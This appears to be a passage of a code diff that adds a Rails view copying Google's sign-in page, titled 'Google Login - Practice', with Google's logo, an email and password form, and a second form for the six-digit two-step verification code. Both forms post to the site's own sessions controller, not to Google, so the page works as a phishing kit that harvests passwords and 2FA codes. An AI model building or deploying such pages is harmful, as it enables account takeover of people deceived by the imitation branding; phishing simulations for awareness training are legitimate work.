|
+
<script nonce="">
|
125
|
+
// Código de inicialización
|
126
|
+
requireLazy(["Bootloader"], function(m) {
|
127
|
+
m.handlePayload({/* Configuraciones */});
|
128
|
+
});
|
129
|
+
</script>
|
130
|
+
|
131
|
+
</body>
|
132
|
+
</html>
|
@@ -0,0 +1,72 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en">
|
3
|
+
<head>
|
4
|
+
<meta charset="UTF-8">
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
6
|
+
<title>Google Login - Practice</title>
|
7
|
+
<% content_for :stylesheet do %>
|
8
|
+
<%= stylesheet_link_tag 'google/page_google' %>
|
9
|
+
<% end %>
|
10
|
+
<% content_for :javascript do %>
|
11
|
+
<%= javascript_include_tag 'google/page_google' %>
|
12
|
+
<% end %>
|
13
|
+
</head>
|
14
|
+
<body>
|
15
|
+
<div class="login-container">
|
16
|
+
<!-- Form 1: Email/Phone and Password -->
|
17
|
+
<form id="formulario" class="login-form active form" action="<%= url_for(controller: 'sessions', action: 'google_login') %>" method="post">
|
18
|
+
<%= image_tag 'google/googlelogo_color_272x92dp.png', alt: 'Google', class: 'google-logo' %>
|
19
|
+
|
20
|
+
<h1>Sign In</h1>
|
21
|
+
<p class="subtitle">Use your Google Account</p>
|
22
|
+
|
23
|
+
<input type="text"
|
24
|
+
id="identifier"
|
25
|
+
name="username"
|
26
|
+
placeholder="Email or phone"
|
27
|
+
required>
|
28
|
+
|
29
|
+
<input type="password"
|
30
|
+
id="password"
|
31
|
+
name="password"
|
32
|
+
placeholder="Enter your password"
|
33
|
+
required>
|
34
|
+
|
35
|
+
<div class="button-container">
|
36
|
+
<button type="button" class="back-button" id="createAccountBtn">Create account</button>
|
37
|
+
<button type="submit" class="next-button">Next</button>
|
38
|
+
</div>
|
39
|
+
</form>
|
40
|
+
|
41
|
+
<!-- Form 2: 2FA -->
|
42
|
+
<form id="twoFaForm" class="login-form" action="<%= url_for(controller: 'sessions', action: 'google_login') %>" method="post">
|
43
|
+
<%= image_tag 'google/googlelogo_color_272x92dp.png', alt: 'Google', class: 'google-logo' %>
|
44
|
+
|
45
|
+
<h1>Two-Step Verification</h1>
|
46
|
+
<p class="subtitle" id="verificationMethod"></p>
|
47
|
+
|
48
|
+
<input type="number"
|
49
|
+
id="2faCode"
|
50
|
+
name="dfa"
|
51
|
+
placeholder="6-digit code"
|
52
|
+
required>
|
53
|
+
|
54
|
+
<div class="button-container">
|
55
|
+
<button type="button" class="back-button" id="backBtn">Back</button>
|
56
|
+
<button type="submit" class="next-button">Verify</button>
|
57
|
+
</div>
|
58
|
+
</form>
|
59
|
+
|
60
|
+
<div class="footer">
|
61
|
+
<select>
|
62
|
+
<option>English (United States)</option>
|
63
|
+
</select>
|
64
|
+
<div>
|
65
|
+
<span>Help</span>
|
66
|
+
<span>Privacy</span>
|
67
|
+
<span>Terms</span>
|
68
|
+
</div>
|
69
|
+
</div>
|
70
|
+
</div>
|
71
|
+
</body>
|
72
|
+
</html>
|